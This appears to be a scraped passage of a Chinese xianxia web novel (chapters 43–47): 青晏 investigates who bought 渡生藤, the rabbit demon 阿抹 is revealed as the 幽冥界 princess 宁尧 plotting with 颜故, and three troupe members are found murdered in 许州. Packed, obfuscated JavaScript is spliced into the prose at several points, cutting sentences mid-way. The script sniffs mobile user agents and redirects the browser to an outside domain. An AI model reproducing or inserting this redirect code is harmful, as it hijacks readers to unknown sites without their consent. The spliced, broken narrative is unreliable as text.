“自然也有认识的,”二掌柜道,“比如北海龙族的小王爷元泽,三个月前,也就是上次幽肆开门的时候跟我这买过两根渡生藤。因为他之前来我这买过珠宝,所以认识。” 青晏抬眸。 元泽?那个疯狂给自己写信送礼物的北海龙族小王爷?他买这个做什么? 不过若想下出那个令树妖灰飞烟灭的禁制,得需五根百年以上的渡生藤,他既只买了两根,想来应和明煦遇袭一事无关。 念及此,青晏继续问道:“在你这一次性,或是断断续续加起来总共买过超过五根的有吗?要百年以上年头的那种。” 二掌柜回忆了一阵,摇头道:“渡生藤娇气得很,能长过百年的少之又少。从我开始做这门生意到现在几百年了,这样的货统共只有过差不多三十根,而且从没有人一口气买过这么多。不过那个龙族小王爷买去的两根,确实都是百年以上的。” 青晏闻言陷入思索。 这样看来,或许是这个小心谨慎到了极点的人,仍是像找了中间人去追杀明煦一样,并没有直接在二掌柜这里购买渡生藤,而是从这些买家手里二次收购。 他这么害怕暴露自己身份,说明一旦被人知道是他想对明煦下手,此人极有可能将面临灭顶之灾。他既找了妖族做杀手,便不太可能也是妖族,毕竟将脏水泼到自家门口对他没有好处。 那么有没有可能是魔界干的好事?之所以这么隐秘,是怕一旦被人发现时隔万年他们仍在计划对神仙下死手,会再度掀起天魔大战?可如今他们明显也在暗中谋划着些什么,会在这个节骨眼上节外生枝吗? 人界无人有足够下出那道禁制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304171|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的两万余年的修为,那么幽冥界呢?或许一直安静地负责阴阳两界运转流通的他们,也会有想要搅弄局势从中分一杯羹的心思? 至于天界……应该不会有人想要迫害同族吧,除非天界已经进了卧底,如今正在按计划行事,对明煦下手是其中一环,所以决计不能暴露? 青晏心中暗暗叹气。 可能性实在太多,手里的线索又实在太少,这样猜是没有用的。 明煦见青晏下来,敏锐地从她并没有什么变化的神情中感受到了一丝不悦。 这是没问出来什么结果?她咬着嘴唇琢磨起来。 “你怎么了?”青晏直到走出璇宝楼才发现明煦蔫嗒嗒的,“刚才发生什么了吗?” “没有,”明煦道,“只是看你好像不太高兴的样子,是问渡生藤的去向不太顺利吗?” “确实不太顺利,”青晏将方才的交谈与她自己的分析讲了出来,“我现在脑子也是乱的。” “想不明白的事儿就先不想,说不准什么时候突然就明白了呢?”明煦拍了拍青晏的肩膀,“你看,幽肆里有那么多好吃好玩的,咱们也吃一吃玩一玩,放松一下心情嘛。” 青晏打量了一圈四周叫卖着的摊子,幽幽道:“哪个好吃?是那个血卤犀牛蹄,还是那个鬼压猴子腿?” “哎呀,说不定只是名字吓人呢?没吃过的东西,怎么样都想尝一口……哎?”明煦本来正笑嘻嘻地和青晏说着话,余光里却突然瞟到了一张有几分熟悉的面孔。 她不甚友善地眯起眼:“猴子腿摊位西边那个穿白衣服的,是不是之前总给你送东西的那个龙族小王爷?” 颜故立即朝明煦所说的方向抬眸望去。 果然,那里站着一个一袭白衣的清瘦男子,此时正微微躬着身子,出神地盯着面前摊位上的什么东西。 他身上的衣衫料子想来应是极好,即便隔着这么远的距离,也依旧能看清上面泛着的细腻光泽。 “怎么感觉比上次见到他的时候瘦了好多……”明煦一边咕哝着一边顺手推了推青晏,“快点儿走吧,别等下看见你又过来叽叽咕咕说上好一堆话。” 青晏顿了顿,脚步却径直往那小王爷的方向去了。 明煦还没来得及把心中的疑惑问出口,便听到了青晏对他们三个低声解释道:“方才那掌柜说元泽在他这买过渡生藤,如今正好遇到了,总要去问一问。” “唉……”明煦耷拉着脑袋,“为了我的事,又要你去费心跟不愿意搭理的人打交道……真是烦死了。” “什么你的事我的事,你的事就是我的事。”青晏无所谓道,“况且小王爷本性不坏,又是好多年前的事了,无妨。” 她在小王爷面前站定:“殿下。” 那人直起腰来,面上透着淡淡困惑:“几位是?” 青晏解了自己的易容术,元泽这才恍然拱手:“原来是玄镜仙子,好久不见。” 明煦被元泽消瘦的脸庞所震惊到了。 他原来的脸颊肉呢? 她印象中的元泽本是长着一副看起来就乐观开朗的笑眉笑眼,可如今的他眼角眉梢里却无一处不透着掩盖不住的郁结与哀伤。 她忍不住问道:“你怎么……看起来气色不太好的样子?” 44.暗示 “都是从前的事,”元泽笑意淡淡,“已经过去了。” 见他无意多说,明煦也很知趣地没有再追问下去。 青晏见状开口道:“我有一件很重要的事需要和殿下商谈,不知……” 还未等她说完,元泽便答允了。 他引着青晏几人来到了附近一片较为空旷的地方,略带歉意地表示本应该找个地方坐下来好好畅谈,但不巧他等下需要尽快赶回去,还望青晏莫怪罪。 青晏含笑表示自然不会,反倒是她接下来的问题可能会有些冒犯,希望他不要生气。 元泽闻言不知想起了什么,面上漾起一股苦涩。 他慢慢道:“我多年前……顽劣不懂事,给仙子造成了诸多困扰,如今就算被问再冒犯的问题也是应该的,仙子但说无妨。” 青晏见他如此爽快,便也直截了当起来,询问他此前所购的渡生藤具体用途。 元泽先是一愣,然后便慨叹世间果然是没有瞒得住的消息。而他之所以购买渡生藤,是为了希望可以用来恢复一个朋友的前世记忆。 此法记载在龙族那本从不外传的秘典中,而他也是因为最近在刻意寻找恢复前世记忆的办法方才得知。 青晏有些诧异。 渡生藤竟然还有这样的作用? 然而下一瞬一道玄妙的感觉却突然从她心间升起。 五根渡生藤可以下出这样致命禁制的用法,自己究竟是如何得知的呢?是从哪本典籍中读到过,还是从谁的口中听说过? 她仍在努力抓住一闪而过的思绪,明煦却颇有兴致地问元泽试过了没,渡生藤是否真的可以恢复前世记忆。 “我还没有尝试。”元泽的发丝被微风拂起,将本就没多少肉的脸显得更为瘦削,“她……前世的记忆可能不太好,还没有想好到底应不应该让她想起来。” “那你问过她的意思了吗?” “……还没有。”元泽的唇角非常勉强地往上提了提,“她如今日子过得正好,我不忍打扰。” 明煦看着和从前大相径庭,已然算得上形销骨立的元泽,内心满是感慨和不忍。 都说龙族多出情种,如今看来元泽也是这样的。 原来追求青晏时搞得那么轰轰烈烈,就算如今已对旁人动心,然而他看起来却仍旧是那副为爱魂牵梦萦的模样。 念及此,她不禁开口出起了主意:“如果是我,我恐怕不愿意想起来前世记忆。” 元泽敛眉看她:“为什么?” “因为……既然已经是前世的事情,我现在就算知道了也没办法改变过去,那么这回忆除了能让我感知到痛苦和无能为力之外,还能带来什么?”明煦耸耸肩,“所以干嘛要想起来呢?” 她用肩膀轻轻撞了撞青晏:“是吧?你怎么想?” “嗯?”青晏从渡生藤的思考中回过神来,“我的话,倒是会宁愿想起来。痛不要紧,重要的是得留着教训,同样的错误,绝不可以再犯。” 颜故眼睫一垂,掩去了目光中的波动。 而后他极为自然地眨了下眼,仿若刚才不过是在揣摩青晏的话罢了。 青晏当然没有察觉到这瞬息之间的微弱变化,仍在向元泽询问着渡生藤相关的问题。 据龙族秘典所言,想要恢复前世记忆只需一根百年以上的渡生藤即可,元泽之所以买了两根,只是为了以防万一。 他甚至极为慷慨地表示,待那人成功恢复前世记忆后,这多余的一根就送给青晏,就当是为他之前造成的麻烦道歉。 青晏当然不会收下,两人你来我往地推拒了一番,最终还是元泽败下阵来,改为无论何事,只要他力所能及,均愿为青晏尽力相助。 “对了殿下,”临走前青晏道,“你怎么知道可以在哪买到渡生藤?” 元泽笑笑:“我好歹也是个殿下,想要什么东西,自然会有人替我找到。况且我与璇宝楼掌柜相熟,在他们那,我有优先购买权。” 青晏立即反应过来:“所以能买到百年以上渡生藤这种稀货的买家,应该也都是熟客吧?” 元泽点点头:“不错。说起来我当时买那两根渡生藤的时候,还听二掌柜说过我来得巧,这正好是最后两根百年以上的。他总共只得了十二根这样的货,很快就被人分光了。” “殿下可知二掌柜其他熟客的身份?” “不太清楚。但如果仙子需要,我定会尽全力打听。” 他顿了顿:“我猜……仙子是想知道,另外那十根百年以上渡生藤的去向?” 青晏笑了:“殿下敏锐。若是还能问清那些渡生藤如今到底还在不在他们手里,那便再好不过。” 客客气气地谢过元泽后,青晏心头的重压多少有所减轻。 幽肆的出口和入口在同一个地方,她一边向那处走去,一边在心中暗暗思忖。 既然这种成色的货只能被熟客买到,那这个范围就缩小了不少。 再加上有元泽这个本就和二掌柜关系较为熟稔之人的帮助,相信很快便能知晓渡生藤的具体流向,继而推断出幕后真凶。 只是……自己到底是从何处得知渡生藤可以用来下出此等禁制的用法呢? 她本能地觉得这一点重要极了,却怎么也想不起来。 待他们走出幽肆时,小兔妖阿抹仍在摊子前百无聊赖地坐着,不过面前筐里的草药倒是少了大半,身上的钱袋也鼓了不少,一副生意还算不错的模样。 见他们要走,阿抹连摊子都不守了,一脸恋恋不舍地跟在他们身后相送,眨巴着大眼睛说怎么就要离开妖界了,自己还没能报上恩呢。 唐禾打趣她:“不是说要回去好好修炼,绝不再离开妖界,直到有能力去找狮子妖报仇吗?” “可是我回来才知道,妖界现在其实也不太平……”阿抹嘟嘟囔囔地,“我听族长说,有好几个法力高强的大妖都突然不见了,他怀疑是有人杀了他们,取了妖丹好增强自身修为呢。” “你们来找妖皇,是为了谈这件事吗?”她的眼神清澈极了。 青晏眼帘倏地一抬。 能增长修为的不仅仅是妖丹,人的魂魄也有此功效。 此前她便有这样的怀疑,只是彼时尚未有任何证据。然而如今妖界竟也发生了这样的事情。 更别提裂魂琵琶已然诡异地出现在人界兴风作浪,这就更坐实了魔界定然有谋划在暗中进行。 更何况按照方才那“晓万事”摊主所言,魔尊风烬那所谓的“为独子张罗婚事”而到处搜集奇珍异宝的行为十有八九是立了个幌子,那些珍宝恐怕全都用在了这位万年前在天魔大战中受了重伤,如今尚未恢复全盛的魔尊本人身上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她那原本甜糯的音色低了下去,带出一股独特的磁性,漫不经心地响彻在颜故耳畔。 颜故眯起了眼:“你究竟有什么目的?” 阿抹自在地看着正在纸上龙飞凤舞着的毛笔:“传念问你情况你也不回,我自然只能亲自过来看一看。” 她斜眼打量着颜故:“怎么,不打算结盟了?” “你我的计划早已不需任何调整,按部就班执行即可。你这样改头换面故意接近,才更像要撕毁盟约。” “我可没有这个意思,”阿抹淡然地直视前方,“只是想来帮你们一把,不然什么时候才能查到幽冥界啊,我都着急了。” 颜故双眉微蹙:“为什么突然改变计划?” “我只是觉得,有些事,还是闹大一点比较好,”阿抹缓缓勾起唇角,“如果闹得连天界都知道了,那……” 她的笑容如毒藤般肆意绽放:“想必就再也没人能保得住他了。” “你就不怕……”颜故双眼如寒潭般幽深,“我拿你做投名状?” 阿抹愉悦地笑了起来。 “当然可以,那是你的自由。”她好整以暇地欣赏着颜故冷肃的面容,“只是颜仙使届时恐怕需要好好解释解释,自己究竟为什么会认识……幽冥界公主宁尧呢?” 45.许州 “到那时我可不会替你遮掩了哦,”阿抹,抑或是幽冥界公主宁尧,故意用之前那副天真的语气说道,“毕竟都被拿去做投名状了呢。” 颜故丝毫没有在意她的威胁。 他身子微微前倾,眼神如刀般锐利:“告诉我——” “人界那么多异常死亡,是你的手笔吗?” 阿抹抬起头,迎着颜故质询的目光,不疾不徐道:“不是。” “我不会伤害人界生灵,这是我当年给你的承诺,现在也没有改变。” 颜故的目光紧紧锁住阿抹,仔细审视着她每一处面部纹理的变化。 而后他缓缓挺直身体,平静地开口:“如此甚好。否则我定会亲手毁了你精心构建的布局。” 他眉眼线条极为冷峻:“无论付出何等代价。” “你放心,我的目标没有变,只是既然天界已经注意到了,何不顺水推舟呢?而之所以用这个身份接近……”阿抹意有所指地看了颜故一眼,“也只能怪有些人不肯告诉我他们目前的进展。” 颜故没理会她的暗示:“你如何知道天界派了人来查探?” “我自然有我的消息来源。”阿抹的目光轻轻扫过筐子里的药草,“就像我也可以告诉你,风烬已经心急了,你们最好抓紧。” 她将假模假式写了几个地址的纸折好,对颜故道:“你该回去了,时间一长,易生猜疑。若有机会,记得把视线往幽冥界引一引。” 颜故沉默着转身,走出两步后突然回头:“世间真的有阿抹这个兔妖吗?” 阿抹先是有几分讶异地看了他一眼,随即唇角微扬,露出一个浅浅的梨涡来。 “当然,”她的笑容里荡漾着一丝意味深长,“有过。” 颜故睫毛颤了颤,垂下眼帘继续闷声前行。 手里攥着一张符纸的唐禾兴冲冲地朝摊子的方向走来,被恰好看见了他的颜故半路喊住:“去做什么?” 唐禾举了举手里的符纸:“妖界不是不太平嘛,我给阿抹画了个护身符,万一要是遇到危险可以给她挡一挡,还特意让仙子帮忙,给加了一个能召唤我过去的功能呢。” 颜故张了张嘴,话在唇边挣扎了许久,最终还是说了出来:“有没有可能,她并不需要这个护身符?” “不需要当然最好啦,”唐禾咧嘴一笑,“但不管怎么说,还是多道保护会更好吧?” 颜故立在路上,神情复杂地看着唐禾欣喜地走到草药摊子旁,郑重地将手中的符纸递了出去,而阿抹在短暂一愣后立即释放出了极为热烈的笑容,蹦蹦跳跳地表达着感谢。 他突然就看不下去了,转头朝着青晏的方向行进。 青晏见颜故回来,立即将魔尊风烬疑借邪宝吸取人界魂魄以滋养自身的推论告知于他,并道他们需即赴许州,去寻找那个据“晓万事”摊主所说,正在那里做生意的幽肆最大的法宝商人,丞五。 “……以及还得让澈樾找孟婆打听打听。我不相信如果魔界真的在如此疯狂地吸取魂魄,幽冥界竟能全然不知。” 颜故眸光微动,很是自然地点了点头:“我也这么想,不然就太反常了。” 青晏仍在思索;“但万年前风烬占领幽冥界时,杀戮何其惨烈,光是为了制造裂魂琵琶就耗费了十万幽冥怨魂,其余伤亡更是数不胜数。此等深仇大恨,幽冥界真能全然忘却么?” 颜故转开眼;“或许……他们另有目的吧。” 青晏紧锁眉头,再次陷入思考。 见唐禾已经开始往回走,青晏赶紧开始与澈樾传念,得到了他“砰砰”拍着自己胸膛许下的“绝对给你打听明白”的承诺,随即带着他们前往了许州。 -- 许州风土人情与承安郡相差甚远,最明显之处便在于,其街巷间的食肆数量并不十分丰富,反倒是戏台子比比皆是,又一个赛一个的气派华丽。 原是许州人本就多爱听戏,当地首富黄延福老爷子又更是个戏痴,不仅自己名下开了数间戏楼,时不时地还会兴致大起唱上两句,赢得几声身边诸人或真心或奉承的赞叹。 而今他更是为庆祝自己的七十大寿,特地花重金从千里外请来了名戏班献唱新戏,并邀请全城百姓一同免费观赏。 既爱看话本又爱看戏的明煦高兴坏了,缠着青晏说想去。 “反正十日后才开唱嘛,在这之前我们肯定能找到丞五问清楚法宝的消息,之后看戏就当庆贺了,好不好嘛?” 她在青晏身边扭来扭去,青晏对她这种极有攻击性的撒娇行为毫无抵抗能力,只得连连答应。 颜故在一边看着,眼中流露出一抹深思的光芒。 可事情没有明煦想得那么简单。 他们只知道丞五在许州,却不知他究竟身在何处,消息已经散了出去,可接连三天等来的都是其他几个法宝贩子的回应,丞五那里始终没有半点动静。 又过了两天,他们仍然没能等来丞五的消息,却等来了一个噩耗——幽冥界骤生大乱,诸鬼出逃,祸及人间,多地动荡。 许州亦未能幸免,是以青晏他们这几日都在到处捉鬼,忙得不可开交。 趁着间隙,颜故立刻与宁尧传念问她这究竟是怎么回事,是否又是一个她临时改变的新计划。 不再需要套着阿抹这层伪装的宁尧用回了自己的本音,但此时她那原本冷艳沉稳的嗓音听起来却有些不太镇定。 “怎么可能是我,”她咬牙切齿道,“都是那个蠢货。” “他定是发现账目对不上了,怕被查出来,才使出这种昏招,还以为自己做得天衣无缝。”宁尧深吸一口气,语气愈发冷厉,“如今连圣物幽煞珠都丢了,我倒要看看他怎么收场。” “幽煞珠?” “正是。诸鬼出逃倒还罢了,抓回来便是,不足为患。可幽煞珠乃幽冥界积年怨气凝结之物,蕴含的幽冥之力不可小觑。一旦落入有心人手中,后果简直不堪设想。” “若真惹出什么乱子,”传念的最后,宁尧冷哼一声,“我看他这个太子之位还怎么坐得稳。” 颜故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14341257|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思绪翻涌。 宁尧的兄长宁镇,幽冥界的太子殿下,多年来在人前总是一副冷冽阴鸷,气势凌人的模样,可从颜故认识宁尧那天起,她对他的评价却从始至终只有两个字:蠢货。 这并不是什么兄妹之间的吵架拌嘴,宁尧是真心实意地觉得宁镇蠢得离奇,蠢得无可救药,蠢得……根本不配成为幽冥界未来的统治者。 所以这许多年来,宁尧一边与他维持着表面上的兄妹和睦,暗地里却一直在寻机蚕食他的势力、削弱他的威信,同时悄无声息地,壮大着她自己的根基。 这样,等那个可以将宁镇从太子位置上掀下来的契机一到,她便可以彻底掌控大局,将整个幽冥界都牢牢握在自己手中。 等到那时,自己的心愿……应该也快要完成了吧。 颜故缓缓按下刚才在缉鬼时有些翘起的衣襟,前去与青晏汇合。 许州这边出逃的诸鬼已经基本被缉拿完毕,而丞五那边也终于传来消息,同意与青晏见面。 丞五坐在雅间内,容貌普通得如浮水一叶,见过便忘。桌上也只摆了一壶酒,一个酒杯,摆明了是没有要和青晏长谈的意思。 见她进来,丞五将杯中酒缓缓饮尽,言辞间颇有几分讥讽之意:“等急了吧?” “还好,我耐性还算不错。”青晏语调淡然。 丞五冷笑一声:“可我却没什么耐心。之所以答应见你,也是因为不想再听见那些你特意散出去的杂音,很吵。” “丞老板向来如此待客?”青晏不咸不淡地问。 “当然不是,”丞五倨傲地抬起下巴,“但你不是来做生意的。” “确实,”青晏坦然承认,“此番前来,是想与丞老板打听些事情。” “这位兄台,你是不是有点太不懂规矩了?”丞五低沉的声音里透着几分阴冷,“幽肆的事,也是能随便打听的?” 青晏眨了眨眼。 不管是用了什么方法,她此前在幽肆确实没少打听到消息…… 但丞五毕竟是幽肆最大的法宝商人,手中法宝数不胜数,对璇宝楼施以的威慑之计对他来说未必奏效。 她正在脑中飞速思考能让丞五开口的对策,然而就在她权衡之间,丞五忽然重重一拍桌子,那原本看似普通的白玉酒壶骤然异彩大放,对着青晏便泼洒出了一大片冒着浓浓黑气的液体。 青晏迅速一躲,玄元镜登时现在手中,随手一挥便将酒液尽数挡下。 她正欲反击,丞五却陡然停下攻势,死死盯住玄元镜,随后缓缓抬眼,极为震惊地看向她:“玄镜……仙子?” 来之前便已经隐去了自己本貌的青晏微微一怔,心中生出一丝警惕。 丞五见她反应,更加确认了自己心中所想,话语间登时便激动起来,急促道:“是玄镜仙子吧?” 见已被认出,青晏便显露了真容。她刚要说些什么,丞五竟忽然大步上前,对着她“扑通”一声,结结实实地跪了下去。 青晏不由自主地向后一退:“做什么?” 46.戏班 “恩人!”丞五跪得笔直,言辞恳切,“自万余年前与恩人一别,今日终于得见!这么多年来我一直在想如何报答您的恩情,可您毕竟是高高在上的神仙,我一个在幽肆里讨生活的妖族,想见您实在难如登天!” 青晏感觉自己脸都要僵了。 怎么又是这样的场面……自己真的不需要被叫做恩人啊! 而且你都是幽肆里最大的法宝商人了,这还算什么讨生活…… 青晏一边疯狂回忆着自己究竟什么时候救过丞五,一边冲他抬了抬手,眼神有几分不自然地游离着:“你快起来,此乃神仙本职,委实不必……如此。” 丞五一下子便看懂了她的神情,随即站起身来,提醒了几句。 青晏这才想起来,原来丞五便是当年她和师父存羽下界历练时随手救下的小貂妖。 那时她独自一人在雪山里转悠着玩,正好撞见了一窝刚被恶妖捉去的小貂妖,正瑟瑟发抖地挤在一起,闭着眼等待被剖出妖丹,气绝于此的命运。 那恶妖自己本身修为也没多高,所以青晏只是随意地转了转玄元镜便将其击散,放了那群貂妖自由。 这种事青晏做过太多了,若不是丞五提醒,她真的是连半点印象也无,也并不觉得自己值得被这么结结实实地感谢…… 这不就是神仙该做的事吗? 她轻咳一声;“所以,你是……哪一只?” “当年被挤在最外面,最先会被杀掉的那只。”丞五低声说道,“但也正因为如此,我得以清楚地看到恩人的面容与法器,这才能在今日认出您。” 有了这样的过往,丞五方才那些的不耐烦和抵触全都烟消云散,认认真真地问起青晏想打听什么事情。 青晏简单讲了讲裂魂琵琶的事,丞五的面色立即凝重起来。 他告诉青晏,当年有个裹着一袭严严实实的黑袍,连身形都模糊不清的神秘人突然找上他,说自己手里有一批法宝急需换钱。而他虽看得出那些法宝大部分都沾点邪性,也一瞧就不是正路子来的,但自己本来做的就不是什么多干净的生意,那人要价又低,便全都收了下来,又很快通过各种渠道陆陆续续卖了出去。 裂魂琵琶便是其中一件,不过当时它的封印完整,从外观上来看除了极为华丽之外,和一把普通的琵琶无甚差别,既没有半点魔气外露,也看不出是由那么多珍稀材料制造而成。 所以当丞五听闻有一家人界的乐器坊正以高价收购古董琵琶时,便将这把琵琶卖了过去,这便是裂魂琵琶流入人界的过程。 他从怀里摸出一本陈旧的账册递给青晏:“这些年卖出去的法宝,基本都有记录。虽然时间久了,许多东西可能早已易主,但毕竟还算有迹可循。” 见青晏翻开账册,丞五手指一动,那些从神秘人处所获法宝的交易记录便一个个凸显出来。 看着看着,青晏眉头越皱越紧,心头也渐渐涌起一股沉重感。 这些法宝的去向杂乱无章,散落在人界的各个角落,而数量也比她之前所预估的要多得多。 丞五见她面色凝重,很是为自己没能提供更多有用的线索而感到愧疚。而青晏却摆了摆手,道了句无妨。 她之前便猜测魔尊风烬正在利用邪宝吸取人界魂魄以恢复自身力量,如今这个猜想从丞五这里得到了初步证实。 为今之计,是需要尽快联系温隐,让他按照这些法宝的流通去向和时间,和当地的异常死亡数量波动进行对比,一旦确认便需立即告知宸景,让他加派人手将那些法宝尽数收缴或销毁,毕竟此事牵扯范围极广,已经不是他们这几个人能够处理的事情了。 青晏婉拒了丞五极力相邀的宴请,独自寻了个僻静处,与宸景清晰梳理了近来发生的一切。 “……所以就目前看来,妖界那封信上的内容基本属实,魔界确有卷土重来的迹象。一旦风烬恢复全力,天下恐将再度大乱。” 宸景的声音听起来严肃极了:“明煦遇袭,可确是魔界挑拨天妖两界关系所为?” “尚无定论。渡生藤的去向我已托人去查了,若能查明便好办许多,不过……”青晏顿了顿,语气微沉,“五根百年渡生藤能设下提及施术者即横死的禁制这种用法,你先前是否知晓?” 宸景回答得很干脆,知道,但不记得是从哪本典籍中得知的了。 他反问道:“这重要吗?当务之急是先带她回来,你们的历练可以到此为止了。” 青晏却坚定反驳:“可躲在天界并非万全之策,明煦遇袭的原因尚不明确,究竟是私人恩怨?还是挑起两界争端?亦或是……” 宸景的声音忽然低沉下来:“……因为我?” “这是我最不愿意见到的局面,但不能不把这种可能也考虑进去。”青晏长叹一声,“当年之事本该只有你我二人知晓,若此猜测为真,那么情况恐怕要比现在严峻得多。” “那便更不能让她留在人界了。”宸景严厉道,“速归,我来护她周全。” “现在撤回反而不妥,幕后之人尚未现身,此时收手不仅前功尽弃,更会留下隐患。他既费尽心思布下这局,便不会轻易放弃,那人极有可能已经在策划第二次袭击,这正是一个大好的机会。” 宸景语气冷了几分:“你要让她做饵?” “不,”青晏道,“是我。” “我会扮成她的样子,我来引得那人对我动手,无论什么腥风血雨,我都能接下。” 宸景震怒:“荒唐!你当真以为自己刀枪不入?若真是死局,你该如何自保?” “若真是能连我都困住的死局,那幕后之人的身份也就基本藏不住了,况且我也没有那么容易被困。”青晏平静道,“你不必再劝,我意已决。” 宸景知她性子,便明白已是没办法再让她改变主意,只得叹气道:“你若执意如此,便得处处留心,切莫大意。” 青晏察觉到自己身上一道金光一闪而过,于是打趣道:“怎么,给我降下庇佑了?” “不然呢,就这么放任你独自以身试险?”宸景冷哼一声,“流入人界的邪宝我会派人尽快肃清,明煦这事了结之后你们即刻回来,别让人分心,耽误我批文牍。” 青晏笑应一声,随即结束了传念,打算回去和明煦他们汇合。 可刚走出没多远,颜故的声音却突然出现在她脑海中,言简意赅道:“出事了。” 青晏神色一紧。 待她来到颜故传念中所提及的那家戏楼,里里外外已经围了好几层看热闹的人,衙役们守在戏楼外不许过往百姓进入,然而这却阻挡不了他们一个个伸直脖子往里瞧,期待能够看到什么回去值得一说的场面的热情。 这些凡间的守卫对于青晏来说自然无碍,她穿过毫无察觉的衙役们,径直走到戏楼的后台,明煦他们三个已经都在了,此时正仔细端详着地上的尸体。 见她来,明煦垂眉撅嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369676|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地站了起来,模样要多委屈有多委屈:“戏看不成了……” 青晏赶紧拍了拍她的后背以示安慰。 她已经从颜故的传念中大致得知,死者便是许州首富黄老爷子特地请来给自己寿宴献艺的名戏班中的三人,分别是班主方周业、他最亲近的伙计和班子里的戏本先生。 虽说已经听了颜故大概描述了一下,但等真的看见这三人凄惨的死状时,青晏还是不由得小小地吸了口气。 他们三人的胸口处都被轰出一个焦黑的大洞,远远地便能看清其中的心窍早已不翼而飞。而那名戏本先生的死状则更凄惨些,十根手指均被细细碾碎,瞧他那已经凝固在脸上的扭曲神情,显然是在生前便遭受了碾碎手指的钻心痛苦。 已经有仵作提着仵作箱进来准备验尸,青晏见状不免摇了摇头。 这里的怨气浓得冲天,明显非凡人所为,即便再怎么仔细验尸也是捉不到凶手的,只是这怨气似乎不太寻常,不似普通恶鬼所留。 厉鬼杀人之后,的确会在原地留下浓重的怨气,不过这地方并不大,他们又都是死在同一处,按理来说这屋里应该到处都弥漫着怨气才是,可为何目前只有尸身上才有怨气留存呢? 此时县令正好迈过门槛,已经对戏班其余人问了一圈话的捕头赶紧迎了上去,对县令汇报起了这三人的基本情况。 班主方周业心思缜密,精于算计,这套戏班子本是他父亲留给他的,只是当时戏班名气平平,也没人觉得他接管过来后能翻起什么新水花。 谁料不久后方周业便想出一个奇招,他以重金到处搜罗话本,称其将对话本进行改编,以戏曲形式重新演绎,让文中角色能有一个活过来的机会。 不少文人被此新颖构思打动,欣然应允,满心欢喜地等着那戏曲开唱,然而却发现整个故事被改得面目全非,人物形象大相径庭,只剩下一个个干巴巴的名字挂在那里,就连结局也往往与原作相距甚远。 文人们懊悔不已,却被早早签下的契约限制住,只能眼睁睁看着自己的心血被改编成另一番模样,万般嗟叹却无可奈何。 然而此举却颇为奏效,那些已经看腻了传统戏本的人纷纷被新戏吸引前来,鼓掌叫好,而看过原作话本的人相较之下便没那么多,能发出质疑者就更是寥寥。 更何况有些话本年头甚远,也不知他们是从哪里搜刮得来,原来的情节就更难以知晓了。 如此一来,方周业的戏班迅速声名鹊起,而另外两名死者,也就是他身边最亲近的伙计和戏本先生,从他刚接手班子之时便已跟随左右,是其最得力的心腹。 颜故一边听着捕头对县令的汇报,一边对青晏道:“这三人胸前焦痕均外浅内深,是从内里烧起来的。而且范围精准,只有心窍被烧的一干二净,并未波及其他部位,怨气也仅仅聚在他们胸口处。十分古怪。” 他又指了指那个手指被碾碎的戏本先生:“此人除胸口焦洞外,怨气也仅聚集在双手处。这与普通恶鬼所留下怨气的方式完全不同,所以我很难相信此事是幽冥界逃鬼所为。” 青晏点点头:“我也这么想,而且那戏本先生的手指被碾碎这件事也让我十分在意。若只是单纯杀戮,根本无需多此一举,而若是为了折磨,为什么不对其余二人也施以相同手段?此举倒像是只针对戏本先生一人的泄愤。” “对戏本先生泄愤干嘛?总不能是觉得他戏本写得太难看了吧。”明煦随口道。 47.忐忑 唐禾闻言,好奇地在后台翻找起来,还真被他找到几个戏本,于是赶紧拿过来给他们看。 青晏随意翻看了一阵自己拿到的那本,没觉得有什么不对劲的,遂扫了一眼身侧颜故手中的那本,想看看有没有什么值得注意的线索。 可随着扫过的文字越来越多,青晏的瞳孔不自觉地越扩越大,一向无波无澜的面容也逐渐僵硬。 她连连眨了几下眼,强迫自己稳住情绪,微微调整了下气息,然后用一副平稳的口吻对颜故道:“我这本好像没什么问题,我们换换看。” 颜故将自己的那本换给了她,青晏继续沿着自己刚才看见的内容翻阅下去,捏住戏本边缘的指尖微微发白。 她的目光直直地落在其中一页上,瞳孔间锐利光泽不断跳动。很快她便将戏本一合,问其余人手中的戏本是否有什么异样。 见几人均是摇头,青晏便道既如此,戏本先生手指被碾一事应与其生计无关,怕是另有原因。 